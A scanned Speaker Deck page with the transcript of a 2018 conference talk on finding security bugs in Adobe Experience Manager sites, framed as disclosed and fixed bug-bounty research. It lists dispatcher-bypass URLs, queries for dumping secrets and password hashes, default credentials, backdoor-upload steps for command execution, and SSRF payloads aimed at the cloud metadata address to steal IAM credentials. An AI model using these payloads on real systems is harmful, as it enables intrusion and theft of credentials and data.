speakerdeck.com Open in urlscan Pro
2606:4700:10::6816:27ef  Public Scan

URL: https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=43
Submission: On October 04 via manual from IN — Scanned from DE

Form analysis 3 forms found in the DOM

https://www.google.com/cse

<form action="https://www.google.com/cse" id="cse-search-box" class="row">
  <input type="hidden" name="cx" value="010150859881542981030:hqhxyxpwtc4">
  <input type="hidden" name="ie" value="UTF-8">
  <label for="q" class="visually-hidden">Search</label>
  <div class="col"><input type="text" name="q" id="q" value="" placeholder="Search..." class="form-control search-input w-auto"></div>
  <div class="col"><input type="submit" name="sa" value="Search" class="btn btn-outline-primary d-inline-block d-md-none d-lg-inline-block"></div>
</form>

https://www.google.com/cse

<form action="https://www.google.com/cse" id="cse-search-box" class="row">
  <input type="hidden" name="cx" value="010150859881542981030:hqhxyxpwtc4">
  <input type="hidden" name="ie" value="UTF-8">
  <label for="q" class="visually-hidden">Search</label>
  <div class="col"><input type="text" name="q" id="q" value="" placeholder="Search..." class="form-control search-input w-auto"></div>
  <div class="col"><input type="submit" name="sa" value="Search" class="btn btn-outline-primary d-inline-block d-md-none d-lg-inline-block"></div>
</form>

https://www.google.com/cse

<form action="https://www.google.com/cse" id="cse-search-box" class="row">
  <input type="hidden" name="cx" value="010150859881542981030:hqhxyxpwtc4">
  <input type="hidden" name="ie" value="UTF-8">
  <label for="q" class="visually-hidden">Search</label>
  <div class="col"><input type="text" name="q" id="q" value="" placeholder="Search..." class="form-control search-input w-auto"></div>
  <div class="col"><input type="submit" name="sa" value="Search" class="btn btn-outline-primary d-inline-block d-md-none d-lg-inline-block"></div>
</form>

Text Content

Upgrade to Pro — share decks privately, control downloads, hide ads and more …
Speaker Deck
 * Features
 * Speaker Deck
   PRO
 * Sign in
 * Sign up for free
 * 
 * Search
   
   

 * Search
   
   
 * 

HUNTING FOR SECURITY BUGS IN AEM WEBAPPS

Search






Mikhail Egorov
October 13, 2018

Programming
2
30k



HUNTING FOR SECURITY BUGS IN AEM WEBAPPS

Presented on Hacktivity 2018 conference -
https://www.hacktivity.com/bug-hunting-adobe-experience-manage.




MIKHAIL EGOROV

October 13, 2018
Tweet Share


MORE DECKS BY MIKHAIL EGOROV

See All by Mikhail Egorov
A Hacker's perspective on AEM applications security
0ang3el

0
3.6k
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
0ang3el

4
7.5k
Securing AEM webapps by hacking them
0ang3el

1
1.3k
AEM hacker approaching Adobe Experience Manager webapps in bug bounty programs
0ang3el

3
9.6k
Neat tricks to bypass CSRF-protection
0ang3el

2
1.8k
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем
веб-приложении
0ang3el

1
460


OTHER DECKS IN PROGRAMMING

See All in Programming
RDBの世界をぬりかえていくモデルグラフDB〜truncus graphによるモデルファースト開発〜
jurabi

0
140
dbt-ga4パッケージを実業務に導入してみた話
t_tokumaru_feedcorp

0
100
Flutterアプリを生成AIで生成する勘所
rizumita

0
240
Perl 5 OOP機構30年史 - Perl 5's OOP Mechanism over the past 30 years
moznion

1
770
Cohesion in Modeling and Design
mploed

3
180
Vue :: Better Testing 2024
up1

1
350
ビット演算の話 / Let's play with bit operations
kaityo256
PRO

3
140
App Router 悲喜交々
quramy

7
370
WEBアプリケーションにおけるAWS Lambdaを用いた大規模な非同期処理の実践
delhi09
PRO

7
3.6k
Cancel Next.js Page Navigation: Full Throttle
ypresto

1
110
Composing an API the *right* way (Droidcon New York 2024)
zsmb

2
540
Applied NLP in the Age of Generative AI
inesmontani
PRO

3
1.1k


FEATURED

See All Featured
Build your cross-platform service in a week with App Engine
jlugia

228
18k
実際に使うSQLの書き方 徹底解説 / pgcon21j-tutorial
soudai

166
48k
Sharpening the Axe: The Primacy of Toolmaking
bcantrill

36
1.7k
Java REST API Framework Comparison - PWX 2021
mraible
PRO

27
7.5k
Cheating the UX When There Is Nothing More to Optimize - PixelPioneers
stephaniewalter

278
13k
Building an army of robots
kneath

302
42k
What’s in a name? Adding method to the madness
productmarketing
PRO

22
3.1k
4 Signs Your Business is Dying
shpigford

180
21k
Facilitating Awesome Meetings
lara

49
6k
Bash Introduction
62gerente

608
210k
Code Review Best Practice
trishagee

62
16k
ParisWeb 2013: Learning to Love: Crash Course in Emotional UX Design
dotmariusz

109
6.9k


TRANSCRIPT


 1.   HUNTING FOR IN AEM WEBAPPS MIKHAIL EGOROV @0ANG3EL BUDAPEST 2018


 2.   MIKHAIL EGOROV, @0ANG3EL • SECURITY RESEARCHER • BUG HUNTER (BUGCROWD,
      
      H1) • In Top 20 on Bugcrowd • Conference speaker • Hack In The Box •
      Troopers • ZeroNights • PHDays • https://twitter.com/0ang3el •
      https://www.slideshare.net/0ang3el • https://speakerdeck.com/0ang3el •
      https://github.com/0ang3el


 3.   WHY THIS TALK • AEM IS AN ENTERPRISE-GRADE CMS •
      
      AEM is widely used by high-profile companies! 3/110


 4.   WHY THIS TALK COMPANIES THAT USE AEM AND HAS PUBLIC
      
      Bug bounty or Vulnerability disclosure programs 4/110


 5.   WHY THIS TALK • USING WHATRUNS.COM I GRABBED 9985 UNIQUE
      
      domains that use AEM • 5751 AEM installations were on https://domain-name
      or https://www.domain-name 5/110


 6.   WHY THIS TALK • AEM IS BIG AND COMPLEX =>
      
      room for security bugs! • 26 known CVEs • Based on open source projects •
      Apache Felix • Apache Sling • Apache OAK JCR
      https://helpx.adobe.com/experience-manager/using/osgi_getting_started.html
      6/110


 7.   WHY THIS TALK • NEW TOOLS AND TECHNIQUES • DETAILS
      
      for fresh CVEs 7/110 Kudos to Jason Meyer (@zaptechsol)


 8.   PREVIOUS WORK • PHDAYS 2015, @0ANG3EL •
      HTTPS://WWW.SLIDESHARE.NET/0ANG3EL/HACKING-AEM-SITES 8/110


 9.   PREVIOUS WORK • 2016, @DARKARNIUM •
      HTTP://WWW.KERNELPICNIC.NET/2016/07/24/MICROSOFT-SIGNOUT.LIVE.COM-REMOTE-
      CODE-EXECUTION-WRITE-UP.HTML 9/110


 10.  PREVIOUS WORK • SEC-T 2018, @FRANSROSEN •
      HTTPS://SPEAKERDECK.COM/FRANSROSEN/A-STORY-OF-THE-PASSIVE-
      AGGRESSIVE-SYSADMIN-OF-AEM 10/110


 11.  PREVIOUS WORK • 2018, @JONATHANBOUMANIUM •
      HTTPS://MEDIUM.COM/@JONATHANBOUMAN/REFLECTED-XSS-AT-PHILIPS-COM-
      E48BF8F9CD3C 11/110


 12.  ALL MENTIONED VULNERABILITIES WERE REPORTED TO RESOURCE OWNERS OR ADOBE
      
      PSIRT and are fixed!!!


 13.  AEM DEPLOYMENT AND AEM DISPATCHER BYPASSES


 14.  COMMON AEM DEPLOYMENT HTTPS://AEMCORNER.COM/AEM-COMMON-DEPLOY-MODELS/ MAIN
      BLOCKS: • AUTHOR AEM INSTANCE
      
      • Publish AEM instance • AEM dispatcher (~WAF) Interacts with Publish
      server via AEM Dispatcher! 4503/tcp 4502/tcp 443/tcp ? 14/110


 15.  AEM DISPATCHER • MODULE FOR WEB SERVER (APACHE, IIS) •
      
      https://www.adobeaemcloud.com/content/companies/public/adobe/dispatcher/dispatcher.
      html • Provides security (~WAF) and caching layers 15/110


 16.  AEM DISPATCHER • IN THEORY … A FRONT END SYSTEM
      
      offers an extra layer of security to your Adobe Experience Manager
      infrastructure • In practice … it’s the only security layer!!! • Admins
      rarely keep all components on Publish updated and securely configured
      16/110


 17.  AEM DISPATCHER • DISPATCHER BYPASSES ALLOW TO TALK TO THOSE
      
      “insecure” components … and have LULZ 17/110


 18.  AEM DISPATCHER BYPASSES • CVE-2016-0957 • NEW BYPASS TECHNIQUE(NO DETAILS
      
      for now – not fixed ) • Add multiple slashes • SSRF • … 18/110


 19.  USING CVE-2016-0957 /FILTER { # DENY EVERYTHING FIRST AND THEN
      
      allow specific entries /0001 { /type "deny" /glob "*" } /0023 { /type
      "allow" /url "/content*" } # disable this rule to allow mapped content
      only /0041 { /type "allow" /url "*.css" } # enable css /0042 { /type
      "allow" /url "*.gif" } # enable gifs /0043 { /type "allow" /url "*.ico" }
      # enable icos /0044 { /type "allow" /url "*.js" } # enable javascript
      /0045 { /type "allow" /url "*.png" } # enable png /0046 { /type "allow"
      /url "*.swf" } # enable flash /0047 { /type "allow" /url "*.jpg" } #
      enable jpg /0048 { /type "allow" /url "*.jpeg" } # enable jpeg /0062 {
      /type "allow" /url "/libs/cq/personalization/*" } # enable personalization
      Policy dispatcher.any before CVE-2016-0957 19/110


 20.  USING CVE-2016-0957 # DENY CONTENT GRABBING /0081 { /TYPE "DENY"
      
      /url "*.infinity.json" } /0082 { /type "deny" /url "*.tidy.json" } /0083 {
      /type "deny" /url "*.sysview.xml" } /0084 { /type "deny" /url
      "*.docview.json" } /0085 { /type "deny" /url "*.docview.xml" } /0086 {
      /type "deny" /url "*.*[0-9].json" } # Deny query (and additional
      selectors) /0090 { /type "deny" /url "*.query*.json" } } Policy
      dispatcher.any before CVE-2016-0957 20/110


 21.  USING CVE-2016-0957 HTTPS://AEMSITE/BIN/QUERYBUILDER.JSON
      HTTPS://AEMSITE/BIN/QUERYBUILDER.JSON/A.CSS
      HTTPS://AEMSITE/BIN/QUERYBUILDER.JSON/A.HTML
      HTTPS://AEMSITE/BIN/QUERYBUILDER.JSON/A.ICO
      HTTPS://AEMSITE/BIN/QUERYBUILDER.JSON/A.PNG
      HTTPS://AEMSITE/BIN/QUERYBUILDER.JSON;%0AA.CSS
      HTTPS://AEMSITE/BIN/QUERYBUILDER.JSON/A.1.JSON BLOCKED
      
      Allowed 21/110


 22.  USING CVE-2016-0957 HTTPS://AEMSITE/BIN/QUERYBUILDER.JSON
      HTTPS://AEMSITE/BIN/QUERYBUILDER.JSON/A.CSS /0090 { /TYPE "DENY" /URL
      "*.QUERY*.JSON"
      
      } Last rule that matches the request is applied and has deny type!
      ahttps://aemsite/bin/querybuilder.json/a.png
      https://aemsite/bin/querybuilder.json;%0aa.css
      https://aemsite/bin/querybuilder.json/a.1.json Blocked 22/110


 23.  USING CVE-2016-0957 HTTPS://AEMSITE/BIN/QUERYBUILDER.JSON/A.CSS
      HTTPS://AEMSITE/BIN/QUERYBUILDER.JSON/A.CSS /0041 { /TYPE "ALLOW" /URL
      "*.CSS"
      
      } # enable css Last rule that matches the request is applied and has allow
      type! ahttps://aemsite/bin/querybuilder.json/a.png
      https://aemsite/bin/querybuilder.json;%0aa.css
      https://aemsite/bin/querybuilder.json/a.1.json Allowed 23/110


 24.  NEW BYPASS TECHNIQUE /FILTER { # DENY EVERYTHING FIRST AND
      
      then allow specific entries /0001 { /type "deny" /glob "*" } # Allow
      non-public content directories /0023 { /type "allow" /url "/content*" } #
      disable this rule to allow mapped content only # Enable extensions in
      non-public content directories, using a regular expression /0041 { /type
      "allow" /extension '(clientlibs|css|gif|ico|js|png|swf|jpe?g|woff2?)’ }
      Policy dispatcher.any after CVE-2016-0957 24/110


 25.  NEW BYPASS TECHNIQUE # ENABLE FEATURES /0062 { /TYPE "ALLOW"
      
      /url "/libs/cq/personalization/*" } # enable personalization # Deny
      content grabbing, on all accessible pages, using regular expressions /0081
      { /type "deny" /selectors '((sys|doc)view|query|[0-9-]+)’ /extension
      '(json|xml)’ } Policy dispatcher.any after CVE-2016-0957 25/110


 26.  NEW BYPASS TECHNIQUE # DENY CONTENT GRABBING FOR /CONTENT /0082
      
      { /type "deny" /path "/content" /selectors
      '(feed|rss|pages|languages|blueprint|infinity|tidy)’ /extension
      '(json|xml|html)’ } } Policy dispatcher.any after CVE-2016-0957 26/110


 27.  NEW BYPASS TECHNIQUE HTTPS://AEMSITE/BIN/QUERYBUILDER.JSON
      HTTPS://AEMSITE/BIN/QUERYBUILDER.JSON/A.CSS
      HTTPS://AEMSITE/BIN/QUERYBUILDER.JSON;%0AA.CSS BLOCKED 27/110 SORRY,
      DETAILS
      
      will be disclosed later!


 28.  ADD MULTIPLE SLASHES • ///ETC.JSON INSTEAD OF /ETC.JSON •
      ///BIN///QUERYBUILDER.JSON
      
      instead of /bin/querybuilder.json 28/110


 29.  USING SSRF • WE NEED SSRF IN A COMPONENT THAT
      
      is allowed by AEM dispatcher policy • Effective way to bypass AEM
      dispatcher! 29/110


 30.  THINGS TO REMEMBER • USUALLY AEM DISPATCHER IS THE ONLY
      
      security layer • Usually it’s easy to bypass AEM dispatcher • AEM admins
      usually fail to configure Publish instance securely and install updates
      timely … • Profit! 30/110


 31.  QUICKLY “SNIFF OUT” BUGGY AEM WEBAPP


 32.  GET JSON WITH JCR NODE PROPS /.JSON /.1.JSON /.CHILDRENLIST.JSON
      /.EXT.JSON
      
      /.4.2.1...json /.json/a.css /.json/a.html /.json/a.png /.json/a.ico
      /.json;%0aa.css /content.json /content.1.json /content.childrenlist.json
      /content.ext.json /content.4.2.1...json /content.json/a.css
      /content.json/a.html /content.json/a.png /content.json/a.ico
      /content.json;%0aa.css /bin.json /bin.1.json /bin.childrenlist.json
      /bin.ext.json /bin.4.2.1...json /bin.json/a.css /bin.json/a.html
      /bin.json/a.png /bin.json/a.ico /bin.json;%0aa.css / /bin /content 32/110


 33.  YEA BABY THIS IS AEM HTTPS://<REDACTED>.TWITTER.COM/.JSON
      HTTPS://<REDACTED>.TWITTER.COM/.EXT.JSON 33/110


 34.  INVOKE SERVLETS /SYSTEM/SLING/LOGINSTATUS.JSON
      /SYSTEM/SLING/LOGINSTATUS.CSS /SYSTEM/SLING/LOGINSTATUS.PNG
      /SYSTEM/SLING/LOGINSTATUS.GIF /SYSTEM/SLING/LOGINSTATUS.HTML
      /SYSTEM/SLING/LOGINSTATUS.JSON/A.1.JSON
      /SYSTEM/SLING/LOGINSTATUS.JSON;%0AA.CSS /SYSTEM/BGSERVLETS/TEST.JSON
      
      /system/bgservlets/test.css /system/bgservlets/test.png
      /system/bgservlets/test.gif /system/bgservlets/test.html
      /system/bgservlets/test.json/a.1.json
      /system/bgservlets/test.json;%0aa.css /system/bgservlets/test
      /system/sling/loginstatus 34/110


 35.  YEA BABY THIS IS AEM
      HTTPS://<REDACTED>.ADOBE.COM/SYSTEM/SLING/LOGINSTATUS.CSS
      HTTPS://WWW.<REDACTED>/SYSTEM/BGSERVLETS/TEST.JSON 35/110


 36.  GRABBING JUICY DATA FROM JCR


 37.  WHAT WE CAN FIND • EVERYTHING IS STORED IN JCR
      
      repository as node properties including: • Secrets (passwords, encryption
      keys, tokens) • Configuration • PII • Usernames 37/110


 38.  AEM SERVLETS FOR GRABBING LOOT • DEFAULTGETSERVLET •
      QUERYBUILDERJSONSERVLET •
      
      QueryBuilderFeedServlet • GQLSearchServlet • … 38/110


 39.  DEFAULTGETSERVLET • ALLOWS TO GET JCR NODE WITH ITS PROPS
      
      • Selectors • tidy • infinity • numeric value: -1, 0, 1 … 99999 • Formats
      • json • xml • res 39/110


 40.  DEFAULTGETSERVLET • ALLOWS TO GET JCR NODE WITH ITS PROPS
      
      • Selectors • tidy • infinity • numeric value: -1, 0, 1 … 99999 • Formats
      • json • xml • res good for retrieving files 40/110


 41.  DEFAULTGETSERVLET HTTPS://AEM.SITE/.TIDY.3.JSON JCR:ROOT SELECTOR TIDY
      SELECTOR DEPTH OUTPUT FORMAT GET
      
      JCR nodes with props starting from jcr:root with depth 3 and return
      formatted JSON 41/110


 42.  DEFAULTGETSERVLET – HOW TO GRAB • GET NODE NAMES, START
      
      from jcr:root • /.1.json • /.ext.json • /.childrenlist.json • Or guess
      node names: /content, /home, /var, /etc • Dump props for each child node
      of jcr:root • /content.json or /content.5.json or /content.-1.json 42/110


 43.  DEFAULTGETSERVLET – WHAT TO GRAB • INTERESTING NODES • /ETC
      
      – may contain secrets (passwords, enc. keys, …) • /apps/system/config or
      /apps/<smth>/config (passwords, …) • /var – may contain private
      information (PII) • /home – password hashes, PII • Interesting props –
      contain AEM users names • jcr:createdBy • jcr:lastModifiedBy •
      cq:LastModifiedBy 43/110


 44.  P1 SUBMISSION FOR PRIVATE BB PROGRAM - AEM WEBAPP REVEALS
      
      DB passwords /apps/<redacted>/config.author.tidy.1..json/a.ico
      DefaultGetServlet – In the wild 44/110


 45.  • WE CAN SEARCH JCR USING DIFFERENT PREDICATES •
      HTTPS://HELPX.ADOBE.COM/EXPERIENCE-MANAGER/6-3/SITES/DEVELOPING/USING/QUERYBUILDER-
      
      predicate-reference.html • QueryBuilderJsonServlet allows to get Nodes and
      their Props (DefaultGetServlet on steroids) • QueryBuilderFeedServlet
      allows to get Nodes (no Props) • but we can use blind binary search for
      Props QueryBuilder: JsonServlet & FeedServlet 45/110


 46.  QUERYBUILDER: JSONSERVLET & FEEDSERVLET ///BIN///QUERYBUILDER.JSON
      ///BIN///QUERYBUILDER.JSON.SERVLET ///BIN///QUERYBUILDER.JSON/A.CSS
      ///BIN///QUERYBUILDER.JSON.SERVLET/A.CSS ///BIN///QUERYBUILDER.JSON/A.ICO
      ///BIN///QUERYBUILDER.JSON.SERVLET/A.ICO
      
      ///bin///querybuilder.json;%0aa.css
      ///bin///querybuilder.json.servlet;%0aa.css
      ///bin///querybuilder.json/a.1.json
      ///bin///querybuilder.json.servlet/a.1.json ///bin///querybuilder.json.css
      ///bin///querybuilder.json.ico ///bin///querybuilder.json.html
      ///bin///querybuilder.json.png /bin/querybuilder.json
      ///bin///querybuilder.feed.servlet
      ///bin///querybuilder.feed.servlet/a.css
      ///bin///querybuilder.feed.servlet/a.ico
      ///bin///querybuilder.feed.servlet;%0aa.css
      ///bin///querybuilder.feed.servlet/a.1.json /bin/querybuilder.feed.servlet
      46/110


 47.  EXAMPLES OF USEFUL SEARCHES • TYPE=NT:FILE&NODENAME=*.ZIP •
      PATH=/HOME&P.HITS=FULL&P.LIMIT=-1 • HASPERMISSION=JCR:WRITE&PATH=/CONTENT
      
      • hasPermission=jcr:addChildNodes&path=/content •
      hasPermission=jcr:modifyProperties&path=/content •
      p.hits=selective&p.properties=jcr%3alastModifiedBy&property=jcr%3alast
      ModifiedBy&property.operation=unequals&property.value=admin&type=n
      t%3abase&p.limit=1000 • path=/etc&path.flat=true&p.nodedepth=0 •
      path=/etc/replication/agents.author&p.hits=full&p.nodedepth=-1 47/110


 48.  EXAMPLES OF USEFUL SEARCHES TYPE=NT:FILE&NODENAME=*.ZIP P1 SUBMISSION FOR
      PRIVATE BB
      
      – grab prod config for Author server 48/110


 49.  PATH=/HOME&P.HITS=FULL&P.LIMIT=-1 P1 SUBMISSION FOR PRIVATE BB – GRAB AEM
      USERS
      
      hashed passwords Examples of useful searches 49/110


 50.  EXAMPLES OF USEFUL SEARCHES HASPERMISSION=JCR:WRITE&PATH=/CONTENT P2
      SUBMISSION FOR TWITTER BB
      
      – Persistent XSS with CSP bypass Root cause: •
      /content/usergenerated/etc/commerce/smartlists was writable for anon user
      • POST servlet was accessible for anon user 50/110


 51.  EXAMPLES OF USEFUL SEARCHES
      P.HITS=SELECTIVE&P.PROPERTIES=JCR%3ALASTMODIFIEDBY&PROPERTY=JCR%3AL
      ASTMODIFIEDBY&PROPERTY.OPERATION=UNEQUALS&PROPERTY.VALUE=ADMIN&
      TYPE=NT%3ABASE&P.LIMIT=1000 AEM USERS NAMES!
      
      51/110


 52.  EXAMPLES OF USEFUL SEARCHES PATH=/ETC&PATH.FLAT=TRUE&P.NODEDEPTH=0
      PATH=/ETC/CLOUDSETTINGS&P.HITS=FULL&P.NODEDEPTH=-1 /ETC.CHILDRENLIST.JSON
      /ETC/CLOUDSETTINGS.-1.JSON 52/110


 53.  GQLSEARCHSERVLET • GQL IS A SIMPLE FULLTEXT QUERY LANGUAGE, SIMILAR
      
      to Lucene or Google queries •
      https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/reference-
      materials/javadoc/index.html?org/apache/jackrabbit/commons/query/GQL.html
      • We can get Node names (not Props) • but we can use blind binary search
      for Props 53/110


 54.  GQLSEARCHSERVLET ///BIN///WCM/SEARCH/GQL.SERVLET.JSON
      ///BIN///WCM/SEARCH/GQL.JSON ///BIN///WCM/SEARCH/GQL.JSON/A.1.JSON
      ///BIN///WCM/SEARCH/GQL.JSON;%0AA.CSS ///BIN///WCM/SEARCH/GQL.JSON/A.CSS
      ///BIN///WCM/SEARCH/GQL.JSON/A.ICO ///BIN///WCM/SEARCH/GQL.JSON/A.PNG
      ///BIN///WCM/SEARCH/GQL.JSON/A.HTML /BIN/WCM/SEARCH/GQL.SERVLET.JSON
      
      54/110


 55.  GQLSEARCHSERVLET – EXAMPLES OF SEARCHES
      QUERY=PATH:/ETC%20TYPE:BASE%20LIMIT:..-1&PATHPREFIX=
      /ETC.EXT.INFINITY.JSON 55/110


 56.  ENUM USERS & BRUTE CREDS


 57.  ENUM USERS • DEFAULTGETSERVLET OR QUERYBUILDERJSONSERVLET • DEFAULT USERS
      •
      
      admin • author • … 57/110


 58.  ENUM USERS • DEFAULTGETSERVLET OR QUERYBUILDERJSONSERVLET • DEFAULT USERS
      •
      
      admin • author • … King of AEM Default password – admin 58/110


 59.  ENUM USERS • DEFAULTGETSERVLET OR QUERYBUILDERJSONSERVLET • DEFAULT USERS
      •
      
      admin • author • … Has jcr:write for /content Default password – author
      59/110


 60.  BRUTE CREDS • AEM SUPPORTS BASIC AUTH, NO BRUTEFORCE PROTECTION!
      
      • LoginStatusServlet – /system/sling/loginstatus.json VS 60/110


 61.  LOGINSTATUSSERVLET ///SYSTEM///SLING/LOGINSTATUS.JSON
      ///SYSTEM///SLING/LOGINSTATUS.JSON/A.CSS
      ///SYSTEM///SLING/LOGINSTATUS.JSON/A.ICO
      ////SYSTEM///SLING/LOGINSTATUS.JSON;%0AA.CSS
      ///SYSTEM///SLING/LOGINSTATUS.JSON/A.1.JSON
      ///SYSTEM///SLING/LOGINSTATUS.CSS ///SYSTEM///SLING/LOGINSTATUS.ICO
      ///SYSTEM///SLING/LOGINSTATUS.PNG ///SYSTEM///SLING/LOGINSTATUS.HTML
      
      /system/sling/loginstatus.json 61/110


 62.  P1 SUBMISSION FOR ADOBE VDP – DEFAULT ADMIN CREDS BUGS
      
      in the wild 62/110


 63.  P1 SUBMISSION FOR LINKEDIN VDP – WEAK PASSWORDS FOR SOME
      
      AEM users Bugs in the wild 63/110


 64.  GETTING CODE EXECUTION


 65.  UNIVERSAL RCE VARIANTS • UPLOADING BACKDOOR OSGI BUNDLE • REQUIRES
      
      admin and access to /system/console/bundles •
      https://github.com/0ang3el/aem-rce-bundle.git (works for AEM 6.2 or newer)
      • Uploading backdoor jsp script to /apps • Requires write access to /apps
      • Requires ability to invoke SlingPostServlet •
      https://sling.apache.org/documentation/getting-started/discover-sling-in-15-minutes.html
      • … 65/110


 66.  GENERATE SKELETON FOR AEM BUNDLE 66/110 MVN
      ORG.APACHE.MAVEN.PLUGINS:MAVEN-ARCHETYPE-PLUGIN:2.4:GENERATE \
      -DARCHETYPEGROUPID=COM.ADOBE.GRANITE.ARCHETYPES
      
      \ -DarchetypeArtifactId=aem-project-archetype \ -DarchetypeVersion=11 \
      -DarchetypeCatalog=https://repo.adobe.com/nexus/content/groups/public/ mvn
      org.apache.maven.plugins:maven-archetype-plugin:2.4:generate \
      -DarchetypeGroupId=com.day.jcr.vault \
      -DarchetypeArtifactId=multimodule-content-package-archetype \
      -DarchetypeVersion=1.0.2 \
      -DarchetypeCatalog=https://repo.adobe.com/nexus/content/groups/public/ For
      AEM 6.2 For AEM 5.6


 67.  UPLOADING BACKDOOR BUNDLE /BIN/BACKDOOR.HTML?CMD=IFCONFIG 67/110


 68.  GIF DEMO HTTPS://WWW.YOUTUBE.COM/WATCH?V=DXBVZBZ7Z1S


 69.  UPLOADING BACKDOOR JSP SCRIPT • CREATE NODE RCENODE SOMEWHERE WITH
      
      property sling:resourceType=rcetype • Create node /apps/rcetype and upload
      html.jsp with payload to node • Open
      https://aem-site/rcenode.html?cmd=ifconfig and have LULZ •
      https://github.com/0ang3el/aem-hacker/blob/master/aem-rce-sling-script.sh
      69/110


 70.  HTTPS://WWW.YOUTUBE.COM/WATCH?V=RDFOT7R7VBK


 71.  SERVER SIDE REQUEST FORGERY


 72.  SSRF IN REPORTINGSERVICESPROXYSERVLET CVE-2018-12809 • VERSIONS: 6.0, 6.1,
      6.2, 6.3,
      
      6.4 • Allows to see the response • Leak secrets (IAM creds), RXSS
      (bypasses XSS filters), bypass dispatcher •
      https://helpx.adobe.com/security/products/experience-manager/apsb18-23.html
      /libs/cq/contentinsight/content/proxy.reportingservices.json
      /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet 72/110


 73.  SSRF IN REPORTINGSERVICESPROXYSERVLET
      /LIBS/CQ/CONTENTINSIGHT/PROXY/REPORTINGSERVICES.JSON.GET.SERVLET?URL=HTTP://169.254.169.254%23/API1.OMNITURE.COM/A&Q=A
      /LIBS/CQ/CONTENTINSIGHT/CONTENT/PROXY.REPORTINGSERVICES.JSON?URL=HTTP://169.254.169.254%23/API1.OMNITURE.COM/A&Q=A
      /LIBS/CQ/CONTENTINSIGHT/PROXY/REPORTINGSERVICES.JSON.GET.SERVLET.HTML?URL=HTTP://169.254.169.254%23/API1.OMNITURE.COM/A&Q=A
      /LIBS/CQ/CONTENTINSIGHT/PROXY/REPORTINGSERVICES.JSON.GET.SERVLET.CSS?URL=HTTP://169.254.169.254%23/API1.OMNITURE.COM/A&Q=A
      /LIBS/CQ/CONTENTINSIGHT/PROXY/REPORTINGSERVICES.JSON.GET.SERVLET.ICO?URL=HTTP://169.254.169.254%23/API1.OMNITURE.COM/A&Q=A
      /LIBS/CQ/CONTENTINSIGHT/PROXY/REPORTINGSERVICES.JSON.GET.SERVLET.PNG?URL=HTTP://169.254.169.254%23/API1.OMNITURE.COM/A&Q=A
      /LIBS/CQ/CONTENTINSIGHT/CONTENT/PROXY.REPORTINGSERVICES.JSON/A.CSS?URL=HTTP://169.254.169.254%23/API1.OMNITURE.COM/A&Q=A
      
      /libs/cq/contentinsight/content/proxy.reportingservices.json/a.html?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
      /libs/cq/contentinsight/content/proxy.reportingservices.json/a.ico?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
      /libs/cq/contentinsight/content/proxy.reportingservices.json/a.png?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
      /libs/cq/contentinsight/content/proxy.reportingservices.json/a.1.json?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
      /libs/cq/contentinsight/content/proxy.reportingservices.json;%0aa.css?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
      73/110


 74.  SSRF IN REPORTINGSERVICESPROXYSERVLET P1 SUBMISSION FOR PRIVATE BB – LEAK
      
      IAM role creds 74/110


 75.  SSRF IN REPORTINGSERVICESPROXYSERVLET P1 SUBMISSION FOR PRIVATE BB –
      EX-FILTRATE
      
      secrets from /etc via SSRF 75/110


 76.  SSRF IN REPORTINGSERVICESPROXYSERVLET P2 SUBMISSION FOR ADOBE VDP – SSRF
      
      and RXSS 76/110


 77.  SSRF IN SALESFORCESECRETSERVLET CVE-2018-5006 • VERSIONS: 6.0, 6.1, 6.2,
      6.3,
      
      6.4 • Allows to see the response** • Leak secrets (IAM role creds), RXSS
      (bypasses XSS filters) •
      https://helpx.adobe.com/security/products/experience-manager/apsb18-23.html
      /libs/mcm/salesforce/customer.json ** - Servlet makes POST request to URL
      77/110


 78.  SSRF IN SALESFORCESECRETSERVLET
      /LIBS/MCM/SALESFORCE/CUSTOMER.JSON?CHECKTYPE=AUTHORIZE&AUTHORIZATION_URL=HTTP://169.254.169.254&CUSTOMER_KEY=ZZZZ&CUSTOMER_SECRET=ZZZZ&REDIRECT_URI=XXXX&CODE=E
      /LIBS/MCM/SALESFORCE/CUSTOMER.CSS?CHECKTYPE=AUTHORIZE&AUTHORIZATION_URL=HTTP://169.254.169.254&CUSTOMER_KEY=ZZZZ&CUSTOMER_SECRET=ZZZZ&REDIRECT_URI=XXXX&CODE=E
      /LIBS/MCM/SALESFORCE/CUSTOMER.HTML?CHECKTYPE=AUTHORIZE&AUTHORIZATION_URL=HTTP://169.254.169.254&CUSTOMER_KEY=ZZZZ&CUSTOMER_SECRET=ZZZZ&REDIRECT_URI=XXXX&CODE=E
      /LIBS/MCM/SALESFORCE/CUSTOMER.ICO?CHECKTYPE=AUTHORIZE&AUTHORIZATION_URL=HTTP://169.254.169.254&CUSTOMER_KEY=ZZZZ&CUSTOMER_SECRET=ZZZZ&REDIRECT_URI=XXXX&CODE=E
      /LIBS/MCM/SALESFORCE/CUSTOMER.PNG?CHECKTYPE=AUTHORIZE&AUTHORIZATION_URL=HTTP://169.254.169.254&CUSTOMER_KEY=ZZZZ&CUSTOMER_SECRET=ZZZZ&REDIRECT_URI=XXXX&CODE=E
      /LIBS/MCM/SALESFORCE/CUSTOMER.JPEG?CHECKTYPE=AUTHORIZE&AUTHORIZATION_URL=HTTP://169.254.169.254&CUSTOMER_KEY=ZZZZ&CUSTOMER_SECRET=ZZZZ&REDIRECT_URI=XXXX&CODE=E
      /LIBS/MCM/SALESFORCE/CUSTOMER.GIF?CHECKTYPE=AUTHORIZE&AUTHORIZATION_URL=HTTP://169.254.169.254&CUSTOMER_KEY=ZZZZ&CUSTOMER_SECRET=ZZZZ&REDIRECT_URI=XXXX&CODE=E
      
      /libs/mcm/salesforce/customer.html/a.1.json?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx
      &code=e
      /libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx
      &code=e
